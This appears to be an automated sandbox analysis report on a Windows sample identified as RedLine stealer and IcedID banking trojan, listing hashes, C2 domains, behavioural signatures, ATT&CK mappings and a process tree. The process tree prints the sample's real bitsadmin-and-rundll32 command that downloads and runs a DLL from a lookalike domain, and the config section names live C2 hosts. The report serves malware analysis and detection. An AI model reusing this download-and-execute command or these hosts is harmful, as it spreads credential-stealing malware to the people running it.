Resubmissions

10-05-2021 11:09

210510-cdf8nml7an 10

Analysis

  • max time kernel
    136s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    10-05-2021 11:09

General

  • Target

    e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe

  • Size

    1.6MB

  • MD5

    16a11f50f6925fca61040f2e0a834b89

  • SHA1

    4179ea5b096750082e177dddedf3a46f1576ef91

  • SHA256

    e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148

  • SHA512

    309b46e3e09e77a96a3ecc06a06a62fc7111e15383aefb8eed8c9be11c700774749d55f6dd7e2fb172bc74525a52c888e9aac6c49b217e4a0bc3b247676a075c

Malware Config

Extracted

Family

redline

C2

zastaredan.xyz:80

Extracted

Family

icedid

Campaign

687839456

C2

icouldmakeyoubelieve.top

Signatures

  • IcedID, BokBot

    IcedID is a banking trojan capable of stealing credentials.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 1 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe
    "C:\Users\Admin\AppData\Local\Temp\e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1400
    • C:\Users\Admin\AppData\Local\Temp\e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe
      "C:\Users\Admin\AppData\Local\Temp\e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2132
      • C:\Windows\SysWOW64\cmd.exe
        "cmd" /C bitsadmin /transfer debjob /download /priority HIGH https://securepro.docusign.peacearoo.com/upd/cert.dll %tmp%\name.dll && rundll32 %tmp%\name.dll,PluginInit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2908
        • C:\Windows\SysWOW64\bitsadmin.exe
          bitsadmin /transfer debjob /download /priority HIGH https://securepro.docusign.peacearoo.com/upd/cert.dll C:\Users\Admin\AppData\Local\Temp\name.dll
          4⤵
          • Download via BitsAdmin
          PID:1372
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32 C:\Users\Admin\AppData\Local\Temp\name.dll,PluginInit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:636
          • C:\Windows\system32\rundll32.exe
            rundll32 C:\Users\Admin\AppData\Local\Temp\name.dll,PluginInit
            5⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            PID:3344

Network

MITRE ATT&CK Matrix ATT&CK v6

Persistence

BITS Jobs

1
T1197

Defense Evasion

BITS Jobs

1
T1197

Credential Access

Credentials in Files

2
T1081

Discovery

Query Registry

1
T1012

Collection

Data from Local System

2
T1005

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe.log
    MD5

    e66606ac29605c55484b2e0f9ee4a447

    SHA1

    4e226b60592e1addafae55034137ea8d5d0fb113

    SHA256

    51ea67e4068c37a73d878dfda2e9475e7ecb01ea5c422b13b71459db2d0942e9

    SHA512

    038139d200ba48d82a462dee57bab1dd0ca6d8180e20aef72b5d079c6010ce8d1041fbb49084e54deb205bcb9bf7ae92c6b6a0256908b48d08e5043e2148799b

  • memory/636-142-0x0000000000000000-mapping.dmp
  • memory/1372-141-0x0000000000000000-mapping.dmp
  • memory/1400-114-0x0000000000B50000-0x0000000000B51000-memory.dmp
    Filesize

    4KB

  • memory/1400-116-0x0000000005C40000-0x0000000005C41000-memory.dmp
    Filesize

    4KB

  • memory/1400-117-0x0000000005540000-0x0000000005541000-memory.dmp
    Filesize

    4KB

  • memory/1400-118-0x00000000055E0000-0x00000000055E1000-memory.dmp
    Filesize

    4KB

  • memory/1400-119-0x0000000005740000-0x0000000005C3E000-memory.dmp
    Filesize

    5.0MB

  • memory/1400-120-0x00000000030C0000-0x00000000030C1000-memory.dmp
    Filesize

    4KB

  • memory/1400-121-0x0000000005850000-0x000000000585E000-memory.dmp
    Filesize

    56KB

  • memory/1400-122-0x0000000006240000-0x00000000062D8000-memory.dmp
    Filesize

    608KB

  • memory/1400-123-0x0000000001440000-0x0000000001495000-memory.dmp
    Filesize

    340KB

  • memory/2132-129-0x00000000055C0000-0x00000000055C1000-memory.dmp
    Filesize

    4KB

  • memory/2132-138-0x00000000071C0000-0x00000000071C1000-memory.dmp
    Filesize

    4KB

  • memory/2132-131-0x00000000050B0000-0x00000000050B1000-memory.dmp
    Filesize

    4KB

  • memory/2132-132-0x00000000050F0000-0x00000000050F1000-memory.dmp
    Filesize

    4KB

  • memory/2132-133-0x0000000004FB0000-0x00000000055B6000-memory.dmp
    Filesize

    6.0MB

  • memory/2132-134-0x0000000005360000-0x0000000005361000-memory.dmp
    Filesize

    4KB

  • memory/2132-137-0x0000000006AC0000-0x0000000006AC1000-memory.dmp
    Filesize

    4KB

  • memory/2132-130-0x0000000005050000-0x0000000005051000-memory.dmp
    Filesize

    4KB

  • memory/2132-139-0x0000000006C90000-0x0000000006C91000-memory.dmp
    Filesize

    4KB

  • memory/2132-124-0x0000000000400000-0x000000000041C000-memory.dmp
    Filesize

    112KB

  • memory/2132-125-0x00000000004163BA-mapping.dmp
  • memory/2908-140-0x0000000000000000-mapping.dmp
  • memory/3344-143-0x0000000000000000-mapping.dmp
  • memory/3344-144-0x000001C5A25C0000-0x000001C5A261B000-memory.dmp
    Filesize

    364KB